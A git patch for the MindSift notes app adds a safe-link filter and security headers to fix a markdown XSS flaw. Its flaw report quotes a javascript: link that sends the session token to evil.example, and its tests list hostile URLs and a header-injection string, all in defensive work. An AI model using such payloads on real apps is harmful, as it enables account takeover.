From b2ecda9896890f7121777ca085351f4d825a7da5 Mon Sep 17 00:00:00 2001 From: Sandro Date: Thu, 29 Oct 2026 19:02:13 +0100 Subject: [PATCH] fix(security): safe links and security headers (FLAW-28, FLAW-29) safeHref lets only http, https and mailto become links (Markdown viewer, outliner, legal links); javascript: and friends show as text. A middleware sets a Content-Security-Policy (scripts only from MindSift, no framing, connections only to this server), X-Frame-Options, nosniff, Referrer-Policy and a Permissions-Policy. The two inline scripts of index.html moved to files so script-src stays 'self'. The second inline script also deleted every cache on each page load, which undermined the offline start; it is gone. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 7 +++ Doku/flaws.md | 6 ++- frontend/index.html | 19 +------- frontend/public/pwa-install.js | 8 ++++ frontend/src/components/LegalLinks.tsx | 5 +- .../src/features/workspace/OutlinerBlock.tsx | 9 ++-- frontend/src/lib/__tests__/safeUrl.test.tsx | 38 +++++++++++++++ frontend/src/lib/markdown.tsx | 5 +- frontend/src/lib/safeUrl.ts | 16 +++++++ frontend/src/main.tsx | 7 +++ internal/api/headers.go | 48 +++++++++++++++++++ internal/api/headers_test.go | 34 +++++++++++++ internal/api/server.go | 1 + 13 files changed, 175 insertions(+), 28 deletions(-) create mode 100644 frontend/public/pwa-install.js create mode 100644 frontend/src/lib/__tests__/safeUrl.test.tsx create mode 100644 frontend/src/lib/safeUrl.ts create mode 100644 internal/api/headers.go create mode 100644 internal/api/headers_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index eb8d8c1..e89cd76 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,13 @@ Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die V ## [Unreleased] +### Security +- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28). +- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29). + +### Fixed +- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht. + ### Changed - Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht. - Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur. diff --git a/Doku/flaws.md b/Doku/flaws.md index 68fa865..1835a05 100644 --- a/Doku/flaws.md +++ b/Doku/flaws.md @@ -10,8 +10,8 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** | ID | Bereich | Kurzbeschreibung | Schwere | |---|---|---|---| -| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch | -| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel | +| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** | +| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** | | FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel | | FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel | | FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel | @@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** ## Details ### FLAW-28: `javascript:`-Links in Markdown +- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`. - **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu ``. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz. - **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt. - **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29). ### FLAW-29: Keine Sicherheits-Header +- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen. - **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go). - **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst. - **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`. diff --git a/frontend/index.html b/frontend/index.html index ce3aa67..3198e68 100644 --- a/frontend/index.html +++ b/frontend/index.html @@ -40,14 +40,7 @@ MindSift - + @@ -58,15 +51,5 @@ - diff --git a/frontend/public/pwa-install.js b/frontend/public/pwa-install.js new file mode 100644 index 0000000..6d91042 --- /dev/null +++ b/frontend/public/pwa-install.js @@ -0,0 +1,8 @@ +// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later +// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'. +window.__deferredPwaPrompt = null; +window.addEventListener('beforeinstallprompt', function (e) { + e.preventDefault(); + window.__deferredPwaPrompt = e; + window.dispatchEvent(new CustomEvent('mindsift:pwa-ready')); +}); diff --git a/frontend/src/components/LegalLinks.tsx b/frontend/src/components/LegalLinks.tsx index f464fac..a30a50d 100644 --- a/frontend/src/components/LegalLinks.tsx +++ b/frontend/src/components/LegalLinks.tsx @@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types'; import { api } from '../lib/api'; import { MarkdownViewer } from '../lib/markdown'; import { ReadingModal } from './ReadingModal'; +import { safeHref } from '../lib/safeUrl'; type LegalType = 'imprint' | 'privacy'; const TITLES: Record = { imprint: 'Impressum', privacy: 'Datenschutz' }; @@ -41,8 +42,8 @@ export const LegalLinks: React.FC = ({ legal, className = '', c return (
{entries.map((e) => - e.url ? ( - + e.url && safeHref(e.url) ? ( + {TITLES[e.type]} ) : ( diff --git a/frontend/src/features/workspace/OutlinerBlock.tsx b/frontend/src/features/workspace/OutlinerBlock.tsx index f56c330..84d6c92 100644 --- a/frontend/src/features/workspace/OutlinerBlock.tsx +++ b/frontend/src/features/workspace/OutlinerBlock.tsx @@ -25,6 +25,7 @@ import { DocumentBlock, BlockType } from '../../lib/types'; import { LinkModal } from './LinkModal'; import { renderInlineMarkdown } from '../../lib/markdown'; import { api } from '../../lib/api'; +import { safeHref } from '../../lib/safeUrl'; export interface SlashCommand { type: BlockType | 'link'; @@ -1001,9 +1002,9 @@ export const OutlinerBlock: React.FC = ({ ); } const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/); - if (mdMatch) { + if (mdMatch && safeHref(mdMatch[2])) { const label = mdMatch[1]; - const url = mdMatch[2]; + const url = safeHref(mdMatch[2]) as string; return ( = ({ ); } - if (/^https?:\/\//.test(part)) { + if (/^https?:\/\//.test(part) && safeHref(part)) { return ( { + it('keeps web and mail links', () => { + expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1'); + expect(safeHref(' http://example.com ')).toBe('http://example.com/'); + expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com'); + }); + + it('drops everything that could run code or load local data', () => { + for (const bad of [ + 'javascript:alert(1)', + 'JaVaScRiPt:alert(1)', + ' javascript:alert(1)', + 'java\tscript:alert(1)', + 'java\nscript:alert(1)', + 'data:text/html,', + 'vbscript:msgbox(1)', + 'file:///etc/passwd', + '/relative/path', + '', + ]) { + expect(safeHref(bad)).toBeNull(); + } + }); +}); + +describe('Markdown links in task notes', () => { + it('render javascript: links as text, web links as links', async () => { + const { render } = await import('@testing-library/react'); + const { MarkdownViewer } = await import('../markdown'); + const { container } = render(); + const links = Array.from(container.querySelectorAll('a')); + expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']); + expect(container.textContent).toContain('Rechnung'); + }); +}); diff --git a/frontend/src/lib/markdown.tsx b/frontend/src/lib/markdown.tsx index 9f7471f..091a16a 100644 --- a/frontend/src/lib/markdown.tsx +++ b/frontend/src/lib/markdown.tsx @@ -1,4 +1,5 @@ import React from 'react'; +import { safeHref } from './safeUrl'; /** * Parses inline markdown: @@ -86,9 +87,9 @@ function renderInlineTokens(text: string, options?: InlineMarkdownOptions): Reac {token.slice(2, -2)} ); - } else if (token.startsWith('[') && match[2] && match[3]) { + } else if (token.startsWith('[') && match[2] && match[3] && safeHref(match[3])) { const label = match[2]; - const url = match[3]; + const url = safeHref(match[3]) as string; elements.push( ); + +// Service worker for the app shell (offline start, see public/sw.js) +if ('serviceWorker' in navigator) { + window.addEventListener('load', () => { + navigator.serviceWorker.register('/sw.js').catch(() => {}); + }); +} diff --git a/internal/api/headers.go b/internal/api/headers.go new file mode 100644 index 0000000..c169f3e --- /dev/null +++ b/internal/api/headers.go @@ -0,0 +1,48 @@ +package api + +import ( + "net/http" + "strings" +) + +// securityHeaders protects the browser side (FLAW-29): +// - Content-Security-Policy: scripts only from MindSift itself, so injected markup cannot run code; +// styles may be inline (custom themes, style attributes); images also from https (avatar URLs); +// connections only to this server, including its WebSocket. +// - frame-ancestors 'none' / X-Frame-Options: no embedding in other sites (clickjacking). +// - nosniff, a same-origin referrer and a permissions policy that only allows the microphone +// (speech input) for MindSift itself. +func (s *Server) securityHeaders(next http.Handler) http.Handler { + return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + h := w.Header() + h.Set("Content-Security-Policy", contentSecurityPolicy(r.Host)) + h.Set("X-Frame-Options", "DENY") + h.Set("X-Content-Type-Options", "nosniff") + h.Set("Referrer-Policy", "same-origin") + h.Set("Permissions-Policy", "microphone=(self), camera=(), geolocation=(), payment=()") + next.ServeHTTP(w, r) + }) +} + +func contentSecurityPolicy(host string) string { + connect := "'self'" + // Older Safari versions do not count ws:/wss: as 'self' + if host != "" && !strings.ContainsAny(host, " ;'\"") { + connect += " wss://" + host + " ws://" + host + } + return strings.Join([]string{ + "default-src 'self'", + "script-src 'self'", + "style-src 'self' 'unsafe-inline'", + "img-src 'self' data: blob: https:", + "font-src 'self' data:", + "connect-src " + connect, + "worker-src 'self'", + "manifest-src 'self'", + "media-src 'self' blob:", + "object-src 'none'", + "base-uri 'self'", + "form-action 'self'", + "frame-ancestors 'none'", + }, "; ") +} diff --git a/internal/api/headers_test.go b/internal/api/headers_test.go new file mode 100644 index 0000000..a3a5310 --- /dev/null +++ b/internal/api/headers_test.go @@ -0,0 +1,34 @@ +package api + +import ( + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +func TestSecurityHeaders(t *testing.T) { + srv, _, _ := setupTestServer(t) + rec := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil) + req.Host = "notes.example.com" + srv.Router().ServeHTTP(rec, req) + csp := rec.Header().Get("Content-Security-Policy") + for _, want := range []string{"script-src 'self'", "frame-ancestors 'none'", "object-src 'none'", "wss://notes.example.com"} { + if !strings.Contains(csp, want) { + t.Errorf("CSP lacks %q: %s", want, csp) + } + } + if strings.Contains(csp, "unsafe-eval") || strings.Contains(strings.Split(strings.Split(csp, "script-src")[1], ";")[0], "unsafe-inline") { + t.Errorf("scripts must not allow inline or eval: %s", csp) + } + for k, v := range map[string]string{"X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "same-origin"} { + if rec.Header().Get(k) != v { + t.Errorf("%s = %q, want %q", k, rec.Header().Get(k), v) + } + } + // A Host header with quotes or semicolons must not be able to extend the policy + if p := contentSecurityPolicy("evil.com; script-src *"); strings.Contains(p, "evil.com") { + t.Errorf("host must not be copied into the policy unchecked: %s", p) + } +} diff --git a/internal/api/server.go b/internal/api/server.go index cdffec0..1b5422b 100644 --- a/internal/api/server.go +++ b/internal/api/server.go @@ -83,6 +83,7 @@ func (s *Server) Router() http.Handler { r := chi.NewRouter() r.Use(s.clientIPMiddleware) + r.Use(s.securityHeaders) r.Use(s.demoResetGate) r.Use(middleware.Recoverer) r.Use(s.apiLoggingMiddleware)